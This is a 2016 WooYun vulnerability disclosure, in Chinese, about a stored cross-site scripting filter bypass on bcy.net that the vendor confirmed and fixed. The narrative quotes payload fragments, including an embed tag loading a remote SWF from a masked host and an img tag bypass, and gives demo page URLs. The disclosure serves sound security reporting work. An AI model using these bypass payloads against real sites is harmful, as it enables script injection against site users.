当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0187277

漏洞标题:半次元主站xss跨站脚本攻击过滤规则有点意思

相关厂商:bcy.net

漏洞作者: 路人甲

提交时间:2016-03-21 14:59

修复时间:2016-03-21 18:08

公开时间:2016-03-21 18:08

漏洞类型:XSS 跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-21: 厂商已经确认,细节仅向厂商公开
2016-03-21: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

=。=

详细说明:

今天看乌云的时候,有一个漏洞是半次元主站xss漏洞,传送门 WooYun: 半次元主站存储型xss漏洞 。厂商给出的状态是已经修复,然后去看了下,想看下修复的怎么样了,试下<svg/onload=xxxx然后提交,接着就被过滤了,如图

QQ截图20160321131258.png

,以为是带有事件就不解析标签了,然后直接试下<svg然后提交,然而结果是一样的,然后就试试其他标签如自定的<asd></asd>提交下,然后也是一样的效果,,然后就想是不是前端处理,然后在抓包提交的时候发现多了一点东西。他把我提交的内容加入到了一个p标签,如图

QQ截图20160321131730.png

,不管3721,改成content=<svg然后forward。。看了下,一样过滤成了最开始的状态,然后再次尝试提交<asd></asd>结果忘了在asd里面加内容,看不到东西。。就查看一下源代码搜索了一下<asd结果搜到了,,而且被解析了,如图

QQ截图20160321131730.png

,然后就是试下<video></video>结果也被解析了,那就直接用embed来绕过了,,直接提交<embed code="http://*.*.*/xss.swf" allowscriptacces=true>结果,又没被解析了,如图,

QQ截图20160321131730.png

,然后就奇怪了,video没被过滤,embed过滤了,想了一下video我是这么写的有结束符号<video></video>而embed没有结束符号,会不会是有这样一个过滤规则,果断试了一下,结果成功了,如图

QQ截图20160321131730.png

,平台也来信了,

QQ截图20160321131730.png

,然后就大概猜想了下他的过滤规则只解析第一个标签,而且是包含结束标签的,再去用<img></img>试了下,也成功了,,实际演示地址http://bcy.net/novel/detail/11560/493497,<img></img>演示地址http://bcy.net/novel/detail/11560/493525

漏洞证明:

修复方案:

过滤。。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2016-03-21 16:17

厂商回复:

非常感谢您对半次元信息安全的帮助。

最新状态:

2016-03-21:修复了html的过滤 感谢路人甲